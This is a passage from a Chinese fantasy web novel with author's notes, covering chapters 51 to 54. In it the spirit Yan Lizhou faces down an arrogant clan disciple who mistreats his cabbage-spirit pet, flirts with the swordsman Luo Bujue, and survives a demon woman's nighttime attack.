燕黎舟哪能看不出陆星华这点小心思。他手中无妄扇“唰”地展开,遮住半张脸,只露出一双似笑非笑的眼睛,斜睨着陆星华。 “你怕是找错人了吧?我对这玩意最不感兴趣。” “不过论阵法造诣,天上白云京沈掌门若称第二,也就洛不觉能称个第一。” “你放着现成的师尊和你洛师叔不请教,跑来问我这个半吊子?” 他边说边用扇子轻轻敲了敲洛不觉的手臂,语气带着点揶揄:“沈齐掌门最近很忙吗?” 洛不觉面无表情地扫了燕黎舟一眼,没理会他的挑拨。 目光重新落回陆星华身上,语气依旧平淡无波,却带着一种无形的压力。 “何种阵法?” 陆星华头皮一麻,他哪真有什么阵法问题,不过是随口胡诌,被洛不觉这么一问。 “一种比较偏门的,关于灵力与空间的……” 陆星华面对洛不觉,一句骚话也说不出来,总觉得很……恶心。 之前不管谁他都能能毫不顾忌地说两句,哪怕是他师尊,但是对着洛不觉,总觉得别别扭扭的。 陆星华索性直接摆烂:“算了我回头找师尊他老人家吧。” 他没说话,燕黎舟伸手指了下他来的方向。 只见小径那头,谢灯去而复返,正静静站在那里,面无表情地看着陆星华。 陆星华后背一僵,缓缓转过身。 看到人后:“啧。” 下一秒迅速扯出来一个皮笑肉不笑的表情。 谢灯没说话,只冷冷地瞥了他一眼。 陆星华顿时像被掐住脖子的鸡,深深叹了口气。 一步三回头地朝着谢灯走去。 不断地嘀咕。 “我就出来一下,你跟你师尊说去呗,拉着我干什么?” “啧,跟你搁一块真是委屈我了。” …… 几日后,各宗门代表陆续抵达。 客院区域果然比往日热闹了许多,时常可见身着不同宗门服饰的修士往来。 这日午后,他带着糖饼在一处临水的回廊,糖饼正啄食着他手心的种子。 前方传来一阵略显嘈杂的争执声,燕黎舟生性爱凑热闹,直接大咧咧地闯过去看听发生了什么。 却人群中瞥见了一个熟悉的身影——陆星华被几人围在中间,脸上虽还挂着笑,眼神却已冷了下来。 围住他的人衣着华贵,为首的是一个面容倨傲的年轻男子,看服饰应是世家的弟子。 只听一男子嗤笑道:“陆星华,你陆家如今是越发不行了,自己家里的资源供不起了,来天上白云京?” “还是说,你们陆家想要并入天上白云京,与宗门结合了!” 这话意有所指,几乎是指着和尚骂秃驴。 燕黎舟脚步顿住,眉头微蹙,糖饼也在他肩头不安地动了动。 “啾?” 陆星华收起折扇,在掌心敲了敲,皮笑肉不笑地回道。 “李炎,几年不见,你这喷火的功夫没见长,嘴皮子上的火气倒是越来越旺了。” “我们陆家如何,还轮不到你们李家来指手画脚。” “至于我是在我陆家还是在天上白云京……” 他拖长了调子,意有所指地扫了一眼对方身边几个唯唯诺诺的跟班。 “总比某些人只会带着一群应声虫要强。” 那名叫李炎的世家弟子顿时大怒。 “你!陆星华,你少在这里逞口舌之快!若非看在天上白云京的地盘上,我定要叫你见识见识我李家真火的滋味!” 陆星华哼了一声,转头眼尖,一眼就瞧见了人群后面的燕黎舟,脸上立刻堆起笑容,扬声招呼。 “哎呀,燕前辈!这几日频频遇见,我们当真是有缘,有缘!” 说完陆星华还转头确认了一下他洛师叔在不在。 燕黎舟面上依旧维持着平静,微微颔首。 这时有个被簇拥在中间的仙子打量了燕黎舟一番,见他气息内敛,容貌俊秀却陌生,肩头还蹲着一只灵雀。 不禁好奇地问道:“这位是?” 她声音清脆,带着几分世家女的娇气。 燕黎舟勾唇,打招呼。 “燕黎舟。” “你是哪家的仙子,长得这么好看!” 仙子还没说话。 李炎旁边一个弟子又抢先开口,语气带着几分轻慢。 “听闻洛剑尊近日带回一位客人,颇为礼遇,想必就是这位道友吧?不知道友出自何门何派,看着倒是面生得紧。” 他仔细打量着燕黎舟,语气十分傲慢。 这人身上也没见什么宗门大家特别的图徽信物,应当是哪个不认识的小门小派。 燕黎舟尚未答话,陆星华已笑嘻嘻地挡了回去:“燕前辈可是洛剑尊的贵客,自然非同一般。” 他这话本是打圆场,却反而激起了另一人的不满。 李炎原本就因为陆星华刚刚不爽,现在又见仙子对燕黎舟多看了两眼,听得陆星华如此维护,心下有些不快,哼了一声。 “贵客?如今魔族当前,各宗齐聚共商大事,来历不明之人,还是谨慎些好。” “谁知道是不是某些宵小之辈,趁机混入宗门图谋不轨?” 这话已是相当不客气,带着明显的挑衅意味。 糖饼羽毛微微炸起,发出警告般的低鸣:“啾! 燕黎舟抚了抚糖饼的羽毛,他抬眼看向那万法宗弟子,目光平静无波,并未动怒,只是淡淡反问。 “没听见吗?我是贵客。” “你是觉得洛不觉他没脑子,把我带回来?” 闻言陆星华也眉梢一挑,转眼看过去:“哦?”—— 作者有话说:十八万字了![害怕] 很认真地思考——自己什么时候能写个五十万字呢…… 这本预定字数是45万哈哈哈哈哈哈哈…… 完了吧唧的吧,写个35万字我都谢天谢地了[化了] 第52章 李炎一噎。 质疑洛不觉?他还没那个胆子。 他强辩道:“我哪有质疑剑尊!只是提醒大家小心为上罢了!” “哦?”燕黎舟轻轻展开无妄扇, 语气依旧平淡,“那真是麻烦道友费心了。” 然而那弟子自觉失了面子,又见燕黎舟始终不亮明身份, 越发觉得可疑, 不肯就此罢休, 盯着燕黎舟肩头的糖饼。 “且慢!你这灵雀模样古怪, 我从未见过, 莫非是魔族妖物所化?需得查验一番!” 说着,竟伸手欲抓糖饼。 这一下, 燕黎舟的眼神彻底冷了下来。 他手腕一翻, 合拢的无妄扇如闪电般点向对方探来的手腕,速度极快,带着一股巧劲。 “啪”一声轻响, 那弟子手腕一麻,缩了回去,又惊又怒。 “你敢动手?!” 他身后的几名同门也立刻围拢上前,气氛瞬间剑拔弩张。 陆星华脸色一沉, 上前一步与燕黎舟并肩, 冷笑道:“李炎, 管好你李家的人!在天上白云京的地盘上,对洛师叔的客人无礼,还想强行动手,是谁给你的胆子?” 仙子眉头微蹙, 显然也觉得那弟子的举动过于冒失。 燕黎舟将糖饼护在肩后,手中无妄扇轻扇,嗤笑。 “你说是就是?你是我爹啊还是我妈?” 李炎轻哼:“伶牙俐齿。” 见周围有人撑腰,气焰又涨了几分:“是不是妖物, 验过便知!你若心中无鬼,何必阻拦?” 燕黎舟侧身避开,无妄扇在他手里转了一圈精准砸在哪扑过来的弟子后脖颈上。 “哎呀,没事吧。” “啧,不过没想到你武功这么差啊,这都避不开。” 李炎气的脸色发青,按耐不住手提着自己的剑就要上前。 “我要看看你有几分本事,敢这么嚣张。” 燕黎舟却哎呦一声,极其滑溜地往陆星华和仙子身后一缩,只露出半个脑袋,嘴上丝毫不饶人。 “仙子您瞧瞧,着天上白云京不知道的还以为是李家开的演武场呢,说不过就要动手!” “啧啧啧,真是好大的威风啊。” 仙子微微蹙眉,终于开口。 “李炎,这里是天上白云京,你再在这里无理取闹,我就禀告家主,把你关起来!” 李炎动作一僵,自己也知道确实不是动手的地方。 又看自己女人这般维护别人,又不甘心,他强压怒火,死死盯着燕黎舟。 “藏头露尾,只敢躲在女人身后,算什么本事?” “本事?”燕黎舟从两人身后晃出来,无妄扇唰地一声展开,慢悠悠地扇着风。 “我似乎好像确实没什么本事,那你呢?你的本事及时带着这么大一群跟班,在别人家门口堵着客人查户口?” “那真是好大的本事,不过说到这个。” 燕黎舟话音一转,看向李炎语气诚恳。 “这位道友,方才我真不是故意的,谁能想到你这么废物,一阵风都能刮倒似的。” “与其操心我的糖饼是魔还是什么,不如多去扎两个时辰的马步,强身健体。” “你!” “够了。”李灯坛皱眉打断,她抬眸看向燕黎舟:“李炎出言不逊,冒犯了道友,我替他道歉。” 说完她又看向燕黎舟肩膀上的糖饼。 “还有你,也要说声道歉。” 随即,她抬起纤手,指尖在腰间一枚温润的玉佩上轻轻一抚。 微光闪过,一道雪白的影子悄无声息地出现在她脚边。 那是一只通体雪白无一丝杂色的玄狐,体型优雅修长,眼眸是罕见的冰蓝,灵动又带着几分高贵。 它出现后,并未理会旁人,只是亲昵地用脑袋蹭了蹭李灯坛的裙摆,然后安静地蹲坐下来,尾巴优雅地卷在身前。 这玄狐一出现,周围的灵气似乎都清新了几分,明显绝非寻常灵兽。 “我的,小糊。” “想和你这小雀交个朋友。” 李炎抓住这个能耍威风的时机,赶忙给旁边的人使了个眼色,那人挥手,从腰间的储物袋里跑出来个小东西。 “不好意思啊各位,我这白菜精时不时就要拿出来晒晒太阳。” “菜籽!”他喊。 被称作“菜籽”的白菜精跪在地上,对着众人俯首,宽大的白菜叶子边缘发黄,软趴趴地贴在地面。 燕黎舟皱眉,肩上的糖饼“啾啾”着飞过去拉了拉菜籽的叶子。 李炎也一挥手,脚边也就趴着只巨大的的绿色蜥蜴,冲着嘚瑟。 黏腻的液体不断从那只绿色蜥蜴的嘴巴里流出来,黏黏糊糊地,顺着滴下来。 李炎扬了扬下巴,等着被夸。 菜籽似乎瑟缩了一下,叶片抖了抖,发出细微的呜咽声。 糖饼在菜籽头顶盘旋了两圈,“啾啾”着叫,用小爪子去轻轻勾扯菜籽的叶子。 燕黎舟这哪里忍得了,他眉毛一扬,没直接冲李炎去,反而先弯腰,伸手扶了还跪在地上的白菜精一把,语气夸张的絮叨着。 “啧,快起来快起来,地上凉,你这主人这么穷看上去也不像是能给你过年红包的,你这叶子再跪会儿就更蔫巴了。” 那名叫菜籽的白菜精怯生生地抬头,看了看自家主人,又看了看燕黎舟,不敢动。 李炎轻哼:“一个妖怪,又不是什么大不了的东西。” “跪着就跪着了呗。” 李炎这话说完,他脚旁边的蜥蜴直接给了菜籽一个大舌头。 “啪”的一下把菜籽拍老远。 “啧。” 燕黎舟这才直起身,斜睨着李炎,手里无妄扇唰地展开,扇得自己发丝飞扬。 他一脸嫌恶,看向李炎脚边那流着黏糊口水的绿色蜥蜴。 “你这口味挺独特啊?养这么个玩意儿,知道的说是灵宠,不知道的还以为你随身带了个移动的痰盂呢!” “这哈喇子流的,赶紧拿个盆接着点,别糟蹋了天上白云京的地板。” 李炎被他呛得脸色发青,怒道:“你嘴巴放干净点!我这小碧乃是异种,剧毒,岂是你能置喙的!” “剧毒?” 燕黎舟像是听到了什么天大的笑话,扇子掩住半边脸,只露出一双满是戏谑的眼睛。 “哎呦喂,吓死我了!怪不得我看着这地砖颜色都不对劲了,原来是被您这宝贝的口水给腐蚀了?” “这可了不得,赶紧的,找洛不觉,赔钱去。” “你这灵宠,都把他家这地板污染了。” 他这话胡搅蛮缠,听得旁边的陆星华忍不住“噗嗤”笑出声,连李灯坛的嘴角都几不可察地弯了一下。 李炎气得差点跳脚:“你胡说八道!” “我胡说?” 燕黎舟收起扇子,用扇骨轻轻敲了敲自己的掌心,踱步到那依旧跪着的白菜精旁边。 蹲下身,与它平视,语气忽然变得语重心长,像是跟自家孩子唠嗑。 “菜籽是吧?你看你,老老实实一棵白菜,修炼成精多不容易,得吸收多少日月精华,躲过多少菜虫鸟雀?” “怎么就跟了这么个主子,动不动就得跪着?知道的你是他妖宠,不知道的还以为你是他家门口的石狮子呢,风吹日晒还得行大礼。” 他这话明着是说给白菜精听,暗里每个字都像针一样扎在李炎脸上。 那白菜精似乎听懂了,宽大的叶子微微颤抖,边缘更黄了。 那弟子忍不住喝道:“你少在这里胡说八道,知道它是妖宠又怎么了?” “它是我的妖宠,妖怪生来低人一等!我让它干什么他就得干什么,妖怪我让它跪着它就不能起来!” “我的妖宠,管你什么事!” 燕黎舟脸上的戏谑笑容瞬间冷了下来,站起身看着说话的弟子。 “哦?生来低人一等?” “你的命又有多高贵?是比旁人多了三头六臂,还是投胎时走了后门,塞了红包?” “我倒要问问,是你师门教你如此行事,还是你李家门风向来如此刻薄寡恩?” “买个妖宠就能随意打杀,改日看谁不顺眼,是不是也能用几块灵石买人家的命?!” 李灯坛皱眉,刚想说什么却被旁边陆星华拦下来。 陆星华一脸赞许,看着燕黎舟的背影,勾唇。 “你……你强词夺理!” 那弟子被燕黎舟的气势所慑,加上这话扣下来的帽子太大,吓得他脸色发白,连连后退,下意识看向李炎求助。 李炎刚缓过一口气,见自家子弟被如此逼问,只得硬着头皮上前喝道。 “你休要胡言乱语,攀扯师门家族!如何对待自己的灵宠,是私事,轮不到你一个外人!” “不客气?”燕黎舟嗤笑一声,手腕一翻,无妄扇直指李炎,“怎么,李道友想要怎么给我个不客气法?” 就在双方僵持不下时,一个低沉而充满威严的声音陡然响起。 “何事这么热闹!” 众人循声望去,只见一位身着深紫色锦袍不怒自威的中年修士,不知何时已站在回廊入口处。 他身形挺拔,目光如电,缓缓扫过在场众人,最终落在李炎和那名动手的弟子身上,气场强大。 “陆家主。” 李炎和那弟子一见此人,顿时如同被掐住了脖子的鸭子,所有气焰瞬间消失无踪。 燕黎舟也明白过来这人的身份,眼珠一转,也收了架势,笑嘻嘻地随意拱了拱手。 “陆家主。” “三叔?” 陆星华脸上的嬉笑瞬间收敛,下意识地缩了缩脖子。 然后他三叔陆季同就过来给了他一个大棒槌。 “让你过来带你弟回家,你倒好,连带着一起不回家?” “嗯?” 陆季同轻哼,陆家一大家子事,他还得来看着自己这两个一点不省心的侄子。 陆星华瞥了眼燕黎舟,凑到他三叔面前小声道。 “三叔,给我留点面子……” 陆季同哼了一声:“你还要什么面子?” “你弟呢,他去哪了,离家出走,这几年也不想着回家。” “乐水他应该是在……铸造基础为了……”—— 作者有话说:啊啊啊啊啊啊,全勤全勤! 为了全勤! 好累……全勤!好累……全勤!好累……全勤! 好累[(--)]zzz 全勤!!! 有些失心疯了,完结就好了……不行还没填坑,完结就好了……不行还没填坑! [裂开][裂开][裂开][裂开] 算了不管了,晚安!!! 第53章 燕黎舟听着陆星华胡扯八道, 倒也没拆穿。 陆季同根本没耐心听陆星华编完,那双锐利的眼睛在他脸上扫过,冷哼一声。 “铸造基础?哼, 肯定不是什么好事。等我把那小子拎回来, 再跟你一起, 你俩好好算这笔账!” 陆季同来得快, 去得更快。 李炎和那弟子面面相觑, 脸上青白交错。 他们本想借题发挥,结果先是燕黎舟胡搅蛮缠, 接着又撞上陆家家主这等人物, 一口气憋在胸口,上不去下不来,别提多难受了。 燕黎舟可不会放过这机会, 他夸张地拍了拍胸口,嘴角却是一点都没下来。 “哎呦喂,陆星华,你家三叔这气场, 了不得啊!吓得我这小心肝扑通扑通的。” 他转头又看向李炎, 扇子“唰”地展开, 笑得那叫一个灿烂。 “李道友,还要不要查我家糖饼了?要不一会儿我们等洛仙长过来,你当面问问他,我这灵雀是不是魔族奸细?” “说起来这小玩意还是在天上白云京长大的呢。” 燕黎舟指尖挠了挠糖饼的脑袋, 挑衅。 李炎几个还想说什么,却被李灯坛一个眼神瞪回去。 “还嫌不够丢人吗?” 李炎狠狠瞪了燕黎舟一眼,却不敢再发作,低喝一声:“我们走!” 燕黎舟也不愿意和陆星华扯上什么东西, 见李炎走了,转身也走,任凭陆星华在后面七叫八叫就是不回头。 烈女怕缠郎,遇上陆星华,谁都是得那个烈女。 洛不觉最近似乎很忙,燕黎舟现在一天到头也见不着几面。 想要见一面只能自己主动去堵人。 这天喂饱了肩头的小祖宗,燕黎舟伸着懒腰走出客院。 清晨的白云京格外宁静,只有偶尔掠过的仙鹤和远处瀑布的水声。 燕黎舟叼着根不知从哪儿掐来的嫩草茎,百无聊赖,不知不觉走到了一处位于山崖边。 此地视野开阔,云海在脚下翻涌,正是吸纳朝阳紫气的好地方。 若是平常,燕黎舟是死活不愿意来的,可是洛不觉在这儿,他也就只有这会儿能堵的到人。 洛不觉一身素白练功服,身形腾挪闪转,手中秋水剑舞得行云流水。 他的剑法不像燕黎舟见过的许多剑修那般华丽炫目,反而极其简单。 只能说卜听南真是洛不觉教出来的,都是一个路子。 燕黎舟看得目不转睛,离那处崖边站的老远,确保自己看不见那山崖地下,嘴里叼着的草茎上下晃动,含糊不清地低声点评。 “啧啧,洛剑尊就是洛剑尊,这剑舞得,跟尺子量出来似的,太干净了。” “就是缺了点人味儿,像庙里的菩萨拈花,美则美矣,不解风情。” 最后这句是小声嘀咕着的。 这人视线毫不掩饰,唇角带笑,眼睛里也带着笑,不知道的还以为是哪家的流氓二世祖。 场中的洛不觉早已察觉到来人,这人聚灵后身上的气息洛不觉隔老远都能闻到。 转身之时余光能偶尔瞥见几下这人的身影,一身黑色,金线在上面点缀,阳光照在身上整个人都金灿灿地发着光。 一根黑色腰带将腰身束出来,更显得窄腰长腿,感觉还没有秋水剑的剑柄宽。 墨发被一根发带束着,几根发丝落在胸前。 洛不觉剑势圆融自如,甚至连节奏都未曾改变分毫。 燕黎舟看了一会儿,觉得光是旁观实在无趣,他那好动的性子又按捺不住了。 “洛不觉。” 对方听见叫他,这才停下来,秋水剑被他快速收入鞘,眼睛缓缓悠悠地扫过来。 燕黎舟手里摇着扇子,身后就是他们上来的路,可能是因为恐高,只远远站着。 远处瀑布的声音很难听,越听越觉得心燥。 洛不觉抿了下唇:“怎么过来了?” 燕黎舟嘿嘿笑着,手里的无妄扇唰地一下打开,扇得墨浓的发丝也飞起来。 “最近好久没见到你,叫你一声,我最近突然变得很厉害,你想不想和我过几招?” 洛不觉听着燕黎舟的话,眼睛盯着燕黎舟飞扬的头发上,仿佛有什么魔力。 “好。” 洛不觉来到燕黎舟身边,两个人找了个空地。 燕黎舟这几日把无妄扇耍地花里胡哨,左右虚晃让人猜不准他要干什么,偏偏洛不觉不管哪里都防得很好。 他找不到一点攻击的时机。 如此不知道多久,燕黎舟觉得无趣,认输。 “不玩了不玩了,攻又攻不进去,你也不出击。” 他直接就坐在地上,一副滚刀的脾性,两只胳膊撑在后面,正对着洛不觉。 光明正大地撂挑子。 洛不觉闪身到他身边,伸手要拉他起来。 “地上脏。” 燕黎舟抬眸看了眼,坏笑着伸手拉着洛不觉的手,指尖在对方手里小猫似的挠了两下,感受到这人浑身一僵。 他手非但没松开,反倒更握紧了点。 “我是不是进步很大?” “……”洛不觉哑然。 然后在燕黎舟不可置信的目光中指尖也在燕黎舟掌心缓缓蹭了两下。 “这样你很舒服吗?” 燕黎舟有些震惊,随即忍不住轻笑出声,握紧洛不觉的手顺着劲起身。 “挺舒服的。” 他回想着刚才那一幕,嘴角一直含着抹笑意,点评道。 燕黎舟松开手拍了拍衣服上蹭到的灰尘,又笑嘻嘻地凑近了一步,几乎要撞进洛不觉怀里。 他仰着头,那双总是含着笑的眼睛直勾勾地看着洛不觉。 “你觉得不舒服?” “……” “洛大仙长,你这人什么都好,就是太闷了。” “整天不是练剑就是打坐,最近来的那些好看仙子们都说你像块千年寒玉,好看冻人。” 燕黎舟歪着头,用扇柄轻轻戳了戳洛不觉的手臂。 “哎,你说,要是哪天魔族打过来了,你是不是也这么板着脸,一剑一个,然后还要嫌弃人家的血弄脏了你的剑?” 洛不觉面无表情。 “此话不吉。” 燕黎舟哈哈大笑。 “我就是打个比方嘛。再说了,安分不代表死绝了。” “说不定就有哪些个不开眼的小魔崽子溜达过来呢。” 他说得随意,像是闲扯八卦,眼睛却悄悄观察着洛不觉的反应。 洛不觉的脚步顿了一下,目光投向西方,眼神锐利了一瞬,随即恢复平静。 “守境长老们轮流看着分界线。” “是,有你们这些正道栋梁在,天塌不下来。” 燕黎舟状似无奈地摊手,随即又换上那副玩世不恭的笑脸。 “不过洛不觉,要是真有什么热闹……咳,我是说万一真有什么变故,你可记得保护好我啊!” “我这无妄扇扇风点火还好,除魔卫道那是一点不行。” 洛不觉转头看他,对上对方那双眼睛,淡淡的琥珀色不像寻常深色眼眸那般沉静,反而透亮得像最上等的蜜糖。 平日里,这双眼睛总是弯着,仿佛世间万事都不值得他认真。 洛不觉沉默片刻,才道:“若真有那一日,不可莽撞,一切听令行事。” “听令?听谁的令?你的令吗?” 燕黎舟眼睛一亮,得寸进尺地凑近。 “你让我往东,我绝不往西,你让我打狗,我绝不撵鸡!怎么样,够意思吧?” 他这话说得暧昧不清,带着明显的戏谑。 洛不觉被他逼得后退半步,耳根微微泛红,语气却依旧镇定。 “休要贫嘴,时辰不早,你该回去了。” “这就赶我走啦?”燕黎舟故作伤心,捂着胸口。 “亏我还惦记着你,专门过来陪你解闷。罢了罢了,我这就回去。” “不碍你的眼。”燕黎舟说完直接甩袖转身离开,身后洛不觉也没有开口挽留他的意思。 走出几步后,燕黎舟这才转身。 “啧。” 洛不觉这人安安静静地跟在他身后,一点声音都没有,他一转头差点撞了个正着。 “你跟着我干嘛?” 洛不觉脚步停住,身形依旧挺拔如松,只是目光微微移开,语气平淡无波,听不出什么情绪。 “没有。” 一句干巴巴的没有之后就什么都没有了,连个借口都没有,燕黎舟失笑。 “那洛仙长不是跟着我那肯定是顺路吧。” “洛仙长跟我顺路,是想去我房间一起坐坐?” 洛不觉抿了抿唇,干脆不再理会燕黎舟,抬步径直朝前走去。 速度并不快,几步就让燕黎舟追上来。 “哎哎哎,别走那么快嘛!” 燕黎舟立刻跟上,与他并肩而行,手中的无妄扇又摇了起来,扇出的风带着他身上特有的气息,环绕在洛不觉周围。 “顺路就顺路呗,一起走也好,省得我路上无聊。” 燕黎舟自顾自地说着。 “好不容易逮到你,就这么走了?太不够意思了。你们这云京,山好水好,就是闷得慌。不如……我带你去个好地方? 洛不觉脚步一顿,看向燕黎舟的眼睛,沉默片刻,竟真的问了句:“何处?” “跟我来就是了!” 燕黎舟见他应允,眉开眼笑,转身便走,却依旧小心地避开了崖边方向,领着洛不觉往另一侧林木葱茏的小径走去。 两人一前一后,穿过一片竹林,来到一处隐蔽的泉水旁,周围灵气氤氲。 燕黎舟熟门熟路地跑到一块平滑的大石旁,变戏法似的从洛不觉给他添置的储物袋里掏出一坛酒和两个玉杯。 “尝尝,我从药老哪里顺过来的。” 燕黎舟拍开泥封,醇厚的酒香立刻弥漫开来,带着灵果特有的清甜气息。 “他那里好东西真不少,之前老拉着我喝几口,我拿出去喝又不让。” “你们天上白云京的人都是茶杯,没一个能喝的。” 燕黎舟不满地撇嘴,自顾自倒了一杯,仰头饮尽—— 作者有话说:[害怕][害怕][化了][裂开][化了][化了][化了][可怜][闭嘴][闭嘴][化了][裂开][可怜][亲亲][墨镜][闭嘴][可怜][亲亲][害怕][害怕][闭嘴][亲亲] 不知道发什么了,来一堆表情包吧[可怜] 么么么么么! 晚安! 第54章 他举起另一杯递到洛不觉面前, 眼神亮晶晶的,带着不容拒绝的期待。 洛不觉看着他,又看了看那杯酒酿, 终是伸手接过, 却没有立刻喝, 只是端详着。 燕黎舟也不催他, 自己又倒了一杯。 “洛不觉。” 洛不觉手上一顿, 下一秒就听这人道。 “这几天我好像一直在做噩梦。” “梦里天裂开了口子,黑压压的什么东西像蝗虫一样涌出来, 到处都是声音, 我身上也全都是血。” “好像死了很多人,都堆成了山。” “醒来心里头也觉得不踏实。”燕黎舟晃着酒杯,“可能是我多想了吧, 你在我身边,又怎么可能出现这样情况。” 洛不觉握着酒杯的手指微微收紧。 沉默。 燕黎舟:“不过还好,梦都是假的。” “若是有一天,你发现梦是真的怎么办?”洛不觉开口, 他说这话时一直盯着手里的酒杯, 没抬眼。 燕黎舟怔了怔, 手里的酒一下子没稳住撒在自己身上。 半响才低眸,慢条斯理地擦着自己身上的酒液,同样是开玩笑的口吻。 “那我怎么办。” “陪他们去死了。” 燕黎舟不是没想过穿进了这个世界,会不可避免地会看见杀人的场景。 但再怎么说他也不是这个世界的人, 他没有办法,内心就不能接受。 他前二十三年接受的都是社会主义价值观,现在告诉他你可以杀人了。 ……接受不了。 燕黎舟笑着举起酒壶又闷了一口:“再说哪个不开眼的敢来你们这撒野?” 洛不觉:“……” 洛不觉接到沈齐的命令先离开了。 药老的酒烈,这会儿可能是后劲上来了, 搅得他心头一阵烦躁。 燕黎舟用力揉了揉额角:“啧。” “啾?” 糖饼在他怀里不安地动了动,有些担心地看着燕黎舟。 “没事儿。”燕黎舟扯出个混不吝的笑,指尖弹了弹糖饼的脑门。 燕黎舟嘴上说得轻松,眼底却没什么笑意。 “剧情跑偏太多了,”燕黎舟指尖无意识地点着糖饼的脑袋,敲木鱼一样一下又一下。 “洛不觉要是一头撞进去吃了亏怎么办。” “啾啾。” 糖饼歪了歪脑袋,黑溜溜的眼睛盯着燕黎舟。 燕黎舟轻笑:“啾啾。” 他发出和糖饼一样的声音,轻笑着指尖勾起挠了挠糖饼的下巴。 脑海中又忽的闪过一个画面,一片血红,熟悉的血海尸林。 “嘻嘻!” 一个声音忽的在燕黎舟脑海中响起,带着嘲笑和怜悯,一声未断一声又起。 燕黎舟神色彻底冷了下来,糖饼好似察觉到了他的情绪,主动将脑袋凑过来蹭了蹭燕黎舟的指尖。 燕黎舟回神,又点了点凑过来的脑袋顶,一句话没说,看着面前还没喝完的酒壶。 那几声诡异的“嘻嘻”似乎一直在耳边回荡。 他最终还是没喝完那壶酒。 燕黎舟提着那壶没喝完的酒,慢悠悠晃到洛不觉所在的房间,里面还黑着。 回到自己的房间。 燕黎舟之前和洛不觉还保持着一个客气,这几天算是消失得干干净净,甚至很不客气。 燕黎舟也不知道为什么,估计是这几天被那几道怪声和噩梦搞得心烦,他就只想看着洛不觉。 他脱下衣服,黑色的外袍被他随手甩在架子上面。 合身的白色里衣没有了束缚瞬间变得松松垮垮的,领口处露出清晰的锁骨和一大片光洁的皮肤,在昏暗的烛光下显得越发温润,随着这人的呼吸轻轻起伏。 手腕上的晋绳安安静静地充当一个首饰。 燕黎舟走到桌边,想倒杯水喝,动作间领口又散了散,隐约可以看见胸膛结实又不过分夸张的轮廓。 白日里那不正经的模样收敛了大半,此刻只剩下一身的懒散和倦意。 就在这时,一道淡淡地甜腻香气充满了房间,燕黎舟蹙眉。 他坐着把玩着手里的杯子,周身却环绕着不太熟练的绿色灵力,糖饼在他肩头,不安地蹦哒着,嘴里不断发出“啾啾”的警告声。 “妖?” 一道声音缓缓响起,和香气一样似乎无处不在,魅惑,分不清男女。 “啧,还真是不开眼。” 在天上白云京的地盘还敢胡来。 燕黎舟的话刚落,一道红绫破窗而入,红绫末端坐着一个满身挂着红色珠玉的人,一层薄薄的面纱笼罩着脸。 声音娇滴滴的:“哎呀呀,小哥哥。” “一个妖怪还敢在天上第一除妖宗门,天上白云京了里面这么安心地住着,不怕哪一天被发现小命不保啊?” 她脸上挂着甜笑,眼中确实一片残忍的杀意。 红绫并非实体,而是由精纯的魔力凝聚形成的,灵动,瞬间就要缠上燕黎舟的脖颈。 燕黎舟伸手,无妄扇出现在他手里,唰地一下展开,红色的魔气和绿色的妖力交错碰撞,屋内的桌椅翻到,一片狼藉。 晋绳变长与那红绫纠缠在一起。 这人袖子一样,一条锁链从袖子里伸出来,加入打斗。 不管怎样燕黎舟也是刚刚聚灵,修为还是略逊那人一点,很快就落了下风。 一道红绫扫过他的手臂,留下火辣辣的痛感,魔气试图侵入身体里面。 糖饼冲上去,圆滚的身子直接被那道红绫直接扇到一旁,被晋绳接住,两者瞬间被锁链给缠着一个球。 “嘶……” 燕黎舟倒抽一口气,步伐乱掉。 身上原本就松散的里衣此时更是因为躲藏间被扯地完全松掉,魔气甚至还腐蚀着那点衣服。 整个人可怜又美丽,身上露出来的肌肤洁白,再纠缠一会儿,红绫就缠上燕黎舟的身上,红白交错,看得人喉头一紧。 那人见状,脸上笑容更胜,说话也黏黏糊糊的。 “哎呦,好心疼你呀。” 就在她要再次推动红绫的时候。 “放肆!” 一道冰冷的声音骤然响起,屋内的魔气瞬间被冻结。 洛不觉的身影不知道什么时候出现在门口,白衣胜雪,面色冷峻。 他视线在燕黎舟身上停了一瞬,秋水剑出鞘毫不犹豫地朝着那人。 沈齐和其他几个长老也出现在门口,看着这里到处乱窜的魔气,妖力,灵力,均是眉头一蹙。 灵力是洛师弟的,那这妖力和魔气…… 屋内红绫被秋水剑斩断,魔气溃散开,那人一看来了这么多人,脸上的笑容僵住。 意识到自己踢到了铁板,她急忙掏出来个东西,这人整个人也和红绫一样散开,成一团红色的雾气。 沈齐和其他几人对视一眼,慕容古已经拎着自己的大刀率先追上去。 洛不觉伸手拽过床上的被子将燕黎舟裹起来,沈齐进来时看见的就是自己师弟将自己的灵力不断输入……燕黎舟的体内。 “师弟。”沈齐道。 洛不觉低头看向燕黎舟,把人扶到自己的房间,从自己储物袋里面掏出来几个成色上品的丹药喂给燕黎舟。 “你在这等等,我一会回来。有事就扯动晋绳。” 燕黎舟躺在洛不觉的床上,周围全是熟悉的冷檀香,不再是恶心的血腥气。 他盯着洛不觉消失的方向,半响低下头戳了戳刚醒过来的糖饼的脑袋。 “那个……是魔女吧。” 晚。 “哎呀,还不行动嘛主人?” “今天差点就被人发现了,我用了好几个主人给的武器才把那个帅哥甩掉。” 树林里面,一个穿着薄纱的人赤着脚踩在一块石头去上面,周围一个人都没有。 “明天,你去找点麻烦。” “明白~”这人笑嘻嘻地应道,满头满身挂着的朱红玉翠也跟着一起摇晃。 “那就先陪他们玩玩咯。不过主人,能不能给点更厉害的东西?人家一个人完成不了啊~” “主人可要来救人家。” 翌日,清晨。 洛不觉回来。 燕黎舟四仰八叉地躺在院中的藤椅上,脸上盖着本闲书,像是睡得正熟。 糖饼蜷在他头顶,也跟着一起一伏。 洛不觉脚步顿了顿,还是走了过去,声音一如既往地平稳,听不出情绪:“昨夜的人手段了得,疑似是魔族从分界线漏过来的。” 藤椅上的“尸体”动了动,书册滑落,露出燕黎舟一双带着宿醉又异常清亮的眼睛。 他打了个大大的哈欠,拖长了调子。 “哦?洛大仙长准备如何降妖除魔?需要小的我敲锣打鼓给您助威吗?” 燕黎舟显然没醒,一副“发生了什么都快点解决然后睡觉”的模样,随口应付。 没有一点魔女要袭击的人就是他的自觉。 洛不觉无视他的调侃,径直说道:“我已经禀告掌门了,那人昨天是冲你来的。” “这几日我跟在你身边,你刚刚聚灵,万一受伤,我们得早做打算。” “打算?有什么好打算的。” 燕黎舟懒洋洋地坐起身,把糖饼捞进怀里,“兵来将挡,水来……我土掩不了,交给你了洛大仙师。” 燕黎舟满脸安心:“天塌下来还好有你在前头扛着。” 再不济还有男主,总之打不到他一个小小的草精身上。 “谨慎为上。”洛不觉言简意赅。 